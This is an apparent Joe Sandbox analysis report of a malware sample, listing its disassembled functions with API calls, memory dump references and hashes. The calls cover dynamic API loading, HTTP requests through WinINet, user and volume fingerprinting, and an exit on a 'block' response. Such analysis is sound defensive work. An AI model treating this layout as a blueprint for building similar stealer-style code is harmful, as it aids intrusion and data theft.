Opcode ID: 4e9b404d21d6c6e0828150971511fc7249e9c75061fdbcd78e72ab75a5e9a5c9
Instruction ID: a4df44b8b3d3da729f416243b986f2d38fdad256dc7aad56b3c0e6ff855b81d1
Opcode Fuzzy Hash: 4e9b404d21d6c6e0828150971511fc7249e9c75061fdbcd78e72ab75a5e9a5c9
Instruction Fuzzy Hash: 690186B1904204EBDB10DF94DD45BAAFBBCF744B21F104219FA45E72C0D77859008FA2

Function 00937850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009211B7), ref: 00937880
RtlAllocateHeap.NTDLL(00000000), ref: 00937887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0093789F

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 53ddb4522fdc10bd1f4e55446efe80fc84b697ab0437666c15619c5486fee251
Instruction ID: 6bbffc2f01b3df1dbd291c50d3f186b7fd2d4c9289f413cfc5c70929106b5750
Opcode Fuzzy Hash: 53ddb4522fdc10bd1f4e55446efe80fc84b697ab0437666c15619c5486fee251
Instruction Fuzzy Hash: C8F04FB1944209ABCB10DF98DD49BAEFBB8EB48711F10065AFA05A36C0C7B819048FA1

Function 00921160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0092116A
ExitProcess.KERNEL32 ref: 0092117E

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 3b104418ed23a88f278c9190885dae5ada6a942efacc219e696f91324f4d00fb
Instruction ID: c73e2804039228ea8ea2ae4b294924a127fd9cfc15b0f3ba4c4ae5a40ff9081a
Opcode Fuzzy Hash: 3b104418ed23a88f278c9190885dae5ada6a942efacc219e696f91324f4d00fb
Instruction Fuzzy Hash: CCD017749042089BCB009BA0984A6ADBB78EB08211F000555D90572280EA70A8918AA6

Function 00939C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76F70000,01046300), ref: 00939C2D
GetProcAddress.KERNEL32(76F70000,010464C0), ref: 00939C45
GetProcAddress.KERNEL32(76F70000,01059950), ref: 00939C5E
GetProcAddress.KERNEL32(76F70000,010598F0), ref: 00939C76
GetProcAddress.KERNEL32(76F70000,010598A8), ref: 00939C8E
GetProcAddress.KERNEL32(76F70000,01059920), ref: 00939CA7
GetProcAddress.KERNEL32(76F70000,0104B4B8), ref: 00939CBF
GetProcAddress.KERNEL32(76F70000,010598C0), ref: 00939CD7
GetProcAddress.KERNEL32(76F70000,01059908), ref: 00939CF0
GetProcAddress.KERNEL32(76F70000,01059848), ref: 00939D08
GetProcAddress.KERNEL32(76F70000,01059890), ref: 00939D20
GetProcAddress.KERNEL32(76F70000,01046240), ref: 00939D39
GetProcAddress.KERNEL32(76F70000,010462C0), ref: 00939D51
GetProcAddress.KERNEL32(76F70000,01046560), ref: 00939D69
GetProcAddress.KERNEL32(76F70000,01046580), ref: 00939D82
GetProcAddress.KERNEL32(76F70000,010599F8), ref: 00939D9A
GetProcAddress.KERNEL32(76F70000,01059860), ref: 00939DB2
GetProcAddress.KERNEL32(76F70000,0104ADB0), ref: 00939DCB
GetProcAddress.KERNEL32(76F70000,010462A0), ref: 00939DE3
GetProcAddress.KERNEL32(76F70000,01059CA8), ref: 00939DFB
GetProcAddress.KERNEL32(76F70000,01059DE0), ref: 00939E14
GetProcAddress.KERNEL32(76F70000,01059E10), ref: 00939E2C
GetProcAddress.KERNEL32(76F70000,01059C90), ref: 00939E44
GetProcAddress.KERNEL32(76F70000,010462E0), ref: 00939E5D
GetProcAddress.KERNEL32(76F70000,01059CC0), ref: 00939E75
GetProcAddress.KERNEL32(76F70000,01059CD8), ref: 00939E8D
GetProcAddress.KERNEL32(76F70000,01059CF0), ref: 00939EA6
GetProcAddress.KERNEL32(76F70000,01059DB0), ref: 00939EBE
GetProcAddress.KERNEL32(76F70000,01059D20), ref: 00939ED6
GetProcAddress.KERNEL32(76F70000,01059D08), ref: 00939EEF
GetProcAddress.KERNEL32(76F70000,01059D38), ref: 00939F07
GetProcAddress.KERNEL32(76F70000,01059D50), ref: 00939F1F
GetProcAddress.KERNEL32(76F70000,01059D68), ref: 00939F38
GetProcAddress.KERNEL32(76F70000,0105C870), ref: 00939F50
GetProcAddress.KERNEL32(76F70000,01059D80), ref: 00939F68
GetProcAddress.KERNEL32(76F70000,01059D98), ref: 00939F81
GetProcAddress.KERNEL32(76F70000,010461C0), ref: 00939F99
GetProcAddress.KERNEL32(76F70000,01059DC8), ref: 00939FB1
GetProcAddress.KERNEL32(76F70000,01046340), ref: 00939FCA
GetProcAddress.KERNEL32(76F70000,01059DF8), ref: 00939FE2
GetProcAddress.KERNEL32(76F70000,01059E28), ref: 00939FFA
GetProcAddress.KERNEL32(76F70000,01046200), ref: 0093A013
GetProcAddress.KERNEL32(76F70000,01046220), ref: 0093A02B
LoadLibraryA.KERNEL32(01059E40,?,00935CA3,00940AEB,?,?,?,?,?,?,?,?,?,?,00940AEA,00940AE3), ref: 0093A03D
LoadLibraryA.KERNEL32(01059C78,?,00935CA3,00940AEB,?,?,?,?,?,?,?,?,?,?,00940AEA,00940AE3), ref: 0093A04E
LoadLibraryA.KERNEL32(0105D248,?,00935CA3,00940AEB,?,?,?,?,?,?,?,?,?,?,00940AEA,00940AE3), ref: 0093A060
LoadLibraryA.KERNEL32(0105D290,?,00935CA3,00940AEB,?,?,?,?,?,?,?,?,?,?,00940AEA,00940AE3), ref: 0093A072
LoadLibraryA.KERNEL32(0105D200,?,00935CA3,00940AEB,?,?,?,?,?,?,?,?,?,?,00940AEA,00940AE3), ref: 0093A083
LoadLibraryA.KERNEL32(0105D1E8,?,00935CA3,00940AEB,?,?,?,?,?,?,?,?,?,?,00940AEA,00940AE3), ref: 0093A095
LoadLibraryA.KERNEL32(0105D158,?,00935CA3,00940AEB,?,?,?,?,?,?,?,?,?,?,00940AEA,00940AE3), ref: 0093A0A7
LoadLibraryA.KERNEL32(0105D2C0,?,00935CA3,00940AEB,?,?,?,?,?,?,?,?,?,?,00940AEA,00940AE3), ref: 0093A0B8
GetProcAddress.KERNEL32(75840000,01046800), ref: 0093A0DA
GetProcAddress.KERNEL32(75840000,0105D2D8), ref: 0093A0F2
GetProcAddress.KERNEL32(75840000,01058E50), ref: 0093A10A
GetProcAddress.KERNEL32(75840000,0105D1B8), ref: 0093A123
GetProcAddress.KERNEL32(75840000,01046820), ref: 0093A13B
GetProcAddress.KERNEL32(73B90000,0104B210), ref: 0093A160
GetProcAddress.KERNEL32(73B90000,01046920), ref: 0093A179
GetProcAddress.KERNEL32(73B90000,0104B030), ref: 0093A191
GetProcAddress.KERNEL32(73B90000,0105D1D0), ref: 0093A1A9
GetProcAddress.KERNEL32(73B90000,0105D2F0), ref: 0093A1C2
GetProcAddress.KERNEL32(73B90000,01046680), ref: 0093A1DA
GetProcAddress.KERNEL32(73B90000,01046720), ref: 0093A1F2
GetProcAddress.KERNEL32(73B90000,0105D140), ref: 0093A20B
GetProcAddress.KERNEL32(760B0000,010466A0), ref: 0093A22C
GetProcAddress.KERNEL32(760B0000,010465C0), ref: 0093A244
GetProcAddress.KERNEL32(760B0000,0105D218), ref: 0093A25D
GetProcAddress.KERNEL32(760B0000,0105D170), ref: 0093A275
GetProcAddress.KERNEL32(760B0000,01046640), ref: 0093A28D
GetProcAddress.KERNEL32(75D30000,0104B0F8), ref: 0093A2B3
GetProcAddress.KERNEL32(75D30000,0104B198), ref: 0093A2CB
GetProcAddress.KERNEL32(75D30000,0105D188), ref: 0093A2E3
GetProcAddress.KERNEL32(75D30000,010466C0), ref: 0093A2FC
GetProcAddress.KERNEL32(75D30000,01046620), ref: 0093A314
GetProcAddress.KERNEL32(75D30000,0104AF40), ref: 0093A32C
GetProcAddress.KERNEL32(753A0000,0105D2A8), ref: 0093A352
GetProcAddress.KERNEL32(753A0000,010466E0), ref: 0093A36A
GetProcAddress.KERNEL32(753A0000,01058EB0), ref: 0093A382
GetProcAddress.KERNEL32(753A0000,0105D260), ref: 0093A39B
GetProcAddress.KERNEL32(753A0000,0105D308), ref: 0093A3B3
GetProcAddress.KERNEL32(753A0000,01046700), ref: 0093A3CB
GetProcAddress.KERNEL32(753A0000,01046740), ref: 0093A3E4
GetProcAddress.KERNEL32(753A0000,0105D1A0), ref: 0093A3FC
GetProcAddress.KERNEL32(753A0000,0105D230), ref: 0093A414
GetProcAddress.KERNEL32(76DA0000,01046780), ref: 0093A436
GetProcAddress.KERNEL32(76DA0000,0105D278), ref: 0093A44E
GetProcAddress.KERNEL32(76DA0000,0105D3D8), ref: 0093A466
GetProcAddress.KERNEL32(76DA0000,0105D420), ref: 0093A47F
GetProcAddress.KERNEL32(76DA0000,0105D4B0), ref: 0093A497
GetProcAddress.KERNEL32(77300000,01046840), ref: 0093A4B8
GetProcAddress.KERNEL32(77300000,01046860), ref: 0093A4D1
GetProcAddress.KERNEL32(767E0000,01046660), ref: 0093A4F2
GetProcAddress.KERNEL32(767E0000,0105D360), ref: 0093A50A
GetProcAddress.KERNEL32(6F6A0000,01046760), ref: 0093A530
GetProcAddress.KERNEL32(6F6A0000,01046880), ref: 0093A548
GetProcAddress.KERNEL32(6F6A0000,010468A0), ref: 0093A560
GetProcAddress.KERNEL32(6F6A0000,0105D3F0), ref: 0093A579
GetProcAddress.KERNEL32(6F6A0000,010467A0), ref: 0093A591
GetProcAddress.KERNEL32(6F6A0000,010468E0), ref: 0093A5A9
GetProcAddress.KERNEL32(6F6A0000,010467C0), ref: 0093A5C2
GetProcAddress.KERNEL32(6F6A0000,01046600), ref: 0093A5DA
GetProcAddress.KERNEL32(6F6A0000,InternetSetOptionA), ref: 0093A5F1
GetProcAddress.KERNEL32(6F6A0000,HttpQueryInfoA), ref: 0093A607
GetProcAddress.KERNEL32(75760000,0105D438), ref: 0093A629
GetProcAddress.KERNEL32(75760000,01058E20), ref: 0093A641
GetProcAddress.KERNEL32(75760000,0105D408), ref: 0093A659
GetProcAddress.KERNEL32(75760000,0105D498), ref: 0093A672
GetProcAddress.KERNEL32(762C0000,010468C0), ref: 0093A693
GetProcAddress.KERNEL32(6EB60000,0105D4C8), ref: 0093A6B4
GetProcAddress.KERNEL32(6EB60000,010467E0), ref: 0093A6CD
GetProcAddress.KERNEL32(6EB60000,0105D4E0), ref: 0093A6E5
GetProcAddress.KERNEL32(6EB60000,0105D450), ref: 0093A6FD

Strings

HttpQueryInfoA, xrefs: 0093A5FC
InternetSetOptionA, xrefs: 0093A5E5

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 2b991a9e20a4cbdf5f25a46b34851a6a8286159a4e01d3f7307409b13a0f92be
Instruction ID: f03561ed58fe73676b65da3d43970b461af45e5b9dc6c4c5de39d2c52016a8b7
Opcode Fuzzy Hash: 2b991a9e20a4cbdf5f25a46b34851a6a8286159a4e01d3f7307409b13a0f92be
Instruction Fuzzy Hash: 4A621DB5510200AFCB44DFA8EE989663BF9F78C701714851AE609E32E4DEBDA841DF53

Function 00926280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0093A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0093A7E6

Part of subcall function 009247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00924839
Part of subcall function 009247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00924849

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

InternetOpenA.WININET(00940DFE,00000001,00000000,00000000,00000000), ref: 009262E1
StrCmpCA.SHLWAPI(?,0105E790), ref: 00926303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00926335
HttpOpenRequestA.WININET(00000000,GET,?,0105EAD0,00000000,00000000,00400100,00000000), ref: 00926385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 009263BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009263D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 009263FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0092646D
InternetCloseHandle.WININET(00000000), ref: 009264EF
InternetCloseHandle.WININET(00000000), ref: 009264F9
InternetCloseHandle.WININET(00000000), ref: 00926503

Strings

ERROR, xrefs: 00926407
ERROR, xrefs: 009264C9
GET, xrefs: 0092637C

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: bd89955fdaac475cadebc48df33c487a637d54f6e407a8971d5fbe68020f32fb
Instruction ID: 6f101d75e2b397e85bab288f262666e1ff9c2fe0625489cd3ba8f4cc62909582
Opcode Fuzzy Hash: bd89955fdaac475cadebc48df33c487a637d54f6e407a8971d5fbe68020f32fb
Instruction Fuzzy Hash: 6A712D71A00218ABDF24EFA0DC49FEEB778BB44700F108198F50A6B5D4DBB46A85CF52

Function 00935510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0093A820: lstrlen.KERNEL32(00924F05,?,?,00924F05,00940DDE), ref: 0093A82B
Part of subcall function 0093A820: lstrcpy.KERNEL32(00940DDE,00000000), ref: 0093A885

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00935644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 009356A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00935857

Part of subcall function 0093A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0093A7E6

Part of subcall function 009351F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00935228

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

Part of subcall function 009352C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00935318
Part of subcall function 009352C0: lstrlen.KERNEL32(00000000), ref: 0093532F
Part of subcall function 009352C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00935364
Part of subcall function 009352C0: lstrlen.KERNEL32(00000000), ref: 00935383
Part of subcall function 009352C0: lstrlen.KERNEL32(00000000), ref: 009353AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0093578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00935940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00935A0C
Sleep.KERNEL32(0000EA60), ref: 00935A1B

Strings

ERROR, xrefs: 009359FE
ERROR, xrefs: 0093577D
ERROR, xrefs: 00935932
ERROR, xrefs: 00935693
ERROR, xrefs: 00935849
ERROR, xrefs: 00935636

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 76610699a5a18742186431c6ea7e7c3677e038ad304ba8e1002c625b8010df00
Instruction ID: 42e8ba15192b47e01c912cad2ccf943d16a1f0f7760a2ed9f8815f90c3d439ee
Opcode Fuzzy Hash: 76610699a5a18742186431c6ea7e7c3677e038ad304ba8e1002c625b8010df00
Instruction Fuzzy Hash: 3FE1FB72910104AACB14FBA0EC96FED7379AFD4300F508568F547A7195EF74AA09CFA2

Function 009317A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 009317C5
ExitProcess.KERNEL32 ref: 009317D1

Strings

block, xrefs: 009317B7

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 6353981a661574a4479c168a7552e2287329c377fc4eae075701501b6f78372a
Instruction ID: 79e46995d28abd6120a0847a8d658c3c4a815943982e6a2b971a8ccaa15722fb
Opcode Fuzzy Hash: 6353981a661574a4479c168a7552e2287329c377fc4eae075701501b6f78372a
Instruction Fuzzy Hash: A3515AB4A14209EFCB04DFA4E994FBE77B9AF84304F108448E506A73A1D774A955CF62

Function 00937500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00937542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0093757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00937603
RtlAllocateHeap.NTDLL(00000000), ref: 0093760A
wsprintfA.USER32 ref: 00937640

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Strings

\, xrefs: 00937560
C, xrefs: 0093754C
:, xrefs: 0093755C

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 0b6b62d1f40d9c0ac702969726a8e1d06ec950a25f360ca41c225fed55924d13
Instruction ID: e8a04ac7dd2942d874706694db54eff586b009d648213aa86ebce72fdc8d63e0
Opcode Fuzzy Hash: 0b6b62d1f40d9c0ac702969726a8e1d06ec950a25f360ca41c225fed55924d13
Instruction Fuzzy Hash: 2B417EB1D04248ABDF20DB94DC95BEEBBB8AB48704F100199F509672C0DB78AA44CFA5

Function 009369F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00939860: GetProcAddress.KERNEL32(76F70000,010541F8), ref: 009398A1
